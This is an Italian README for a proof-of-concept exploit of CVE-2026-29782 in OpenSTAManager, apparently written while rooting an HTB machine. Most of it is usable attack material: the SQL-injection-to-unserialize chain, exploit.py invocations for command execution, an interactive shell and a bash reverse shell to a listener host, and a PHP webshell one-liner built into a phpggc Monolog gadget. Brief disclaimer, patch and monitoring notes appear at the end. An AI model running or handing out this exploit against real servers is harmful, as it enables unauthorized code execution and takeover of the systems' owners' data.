
Proof-of-concept exploit per CVE-2026-29782, che combina SQL injection e PHP object injection per ottenere l'esecuzione remota di codice in OpenSTAManager. Include opzioni per il deployment di una webshell e per la reverse shell.
PoC per esecuzione remota di codice in OpenSTAManager ≤ 2.10.1.
oauth2.php cerca una riga zz_oauth2 tramite il parametro GET state controllato
dall'attaccante e chiama unserialize() sulla sua colonna access_token senza
una restrizione allowed_classes (Models\OAuth2::checkTokens() /
getAccessToken()). Questo è un sink di iniezione di oggetti PHP.
Da solo non è sfruttabile — non puoi posizionare l'oggetto. Combinato con la funzionalità SQL arbitrario senza restrizioni nel modulo (, nessuna allow-list sulle query nella linea 2.9.x — ), un admin autenticato può un gadget POP serializzato in e poi richiedere per farlo esplodere.
op=risolvi-conflitti-databaseGHSA-2fr7-cc4f-wh98INSERTzz_oauth2.access_tokenoauth2.phpauth (admin)
└─ POST /actions.php op=risolvi-conflitti-database ← SQL arbitrario
└─ INSERT del blob gadget in zz_oauth2.access_token (chiave tramite `state`)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ gadget POP __destruct() → scrittura file
└─ GET /<webshell>.php?c=<cmd> ← esecuzione codice come utente web
⚠️ Solo test autorizzati. Pubblicato per scopi educativi, CTF (scritto contro HTB: Enigma) e ricerca difensiva. Eseguirlo contro sistemi che non possiedi o per cui non hai esplicita autorizzazione scritta è illegale. Nessuna garanzia. Vedi LICENSE.
| Prodotto | OpenSTAManager (devcode-it/openstamanager) |
| Sink di iniezione di oggetti | ≤ 2.10.1 — corretto in 2.10.2 (unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| Catena SQL arbitrario | linea 2.9.x (risolvi-conflitti-database ha ricevuto un'allow-list successivamente nella 2.10.x) |
| Verificato contro | 2.9.8, PHP 8.3, MySQL 8.0 |
L'albero 2.9.x include monolog/monolog ^3.0, quindi questo PoC usa un gadget
di scrittura file Monolog 3.x (phpggc Monolog/FW1) per rilasciare la webshell.
Questo evita deliberatamente di dipendere da system()/exec() abilitati o da
quali componenti Laravel siano presenti.
requests — pip install -r requirements.txtphpggc + CLI php nel PATH
(usato solo per costruire il gadget; oppure fornisci --payload-file con un blob pre-costruito)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [azione]
azioni:
--cmd 'id' esegui un comando, stampa l'output
--shell prompt interattivo semplice
--lhost 10.10.14.5 --lport 4444 reverse shell bash
--drop-only rilascia solo la webshell, stampa la sua URL
flag utili:
--module-id 6 id del modulo Aggiornamenti (default 6)
--phpggc ./phpggc/phpggc percorso di phpggc
--payload-file blob.bin salta phpggc, usa un blob Monolog/FW1 pre-generato
--webshell-name name.php nome file rilasciato nella web root
--proxy http://127.0.0.1:8080
--keep lascia la riga zz_oauth2 iniettata al suo posto
# dimostra la RCE
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# interattivo
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# reverse shell (esegui prima `nc -lvnp 4444`)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
Pre-generazione manuale del gadget (equivalente a ciò che fa lo script):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = codifica stringa S: sicura per ASCII (sopravvive byte-per-byte alla colonna TEXT);
-f = fast-destruct (l'oggetto si attiva immediatamente dopo unserialize(), prima
che OpenSTAManager chiami ->hasExpired() su di esso e lanci un'eccezione).
POST /index.php op=login&username=&password= (successo = 302
lontano da index.php).POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-array>. Ogni elemento
viene passato a $dbo->query(); il ramo 2.9.x non applica alcuna allow-list. Il PoC
aggiunge una coppia CREATE TABLE … / DROP TABLE … per forzare un COMMIT
implicito (l'endpoint altrimenti lascia le scritture in una transazione non committata).
L'handler inoltre restituisce il testo di errore MySQL, fornendo un oracolo di lettura
extractvalue() (OSM.sql_extract() nel codice).INSERT in zz_oauth2 di una riga con un state noto e
access_token = 0x<hex(gadget)>; class è impostata sul provider reale
Modules\Emails\OAuth2\Google.GET /oauth2.php?state=<state>&code=x. configure() chiama
needsConfiguration() → getAccessToken() → checkTokens() →
unserialize($this->access_token) senza allowed_classes. Il __destruct
del gadget Monolog scrive la webshell. La risposta è HTTP 500 — previsto.GET /<webshell>?c=<cmd> → system().unserialize($v, ['allowed_classes' => [AccessToken::class]]) e l'esecutore
SQL di Aggiornamenti è sottoposto ad allow-list.modules/aggiornamenti/ agli amministratori fidati; monitora
le scritture su zz_oauth2 e le richieste a oauth2.php.Ricerca e PoC durante il rooting di HTB: Enigma.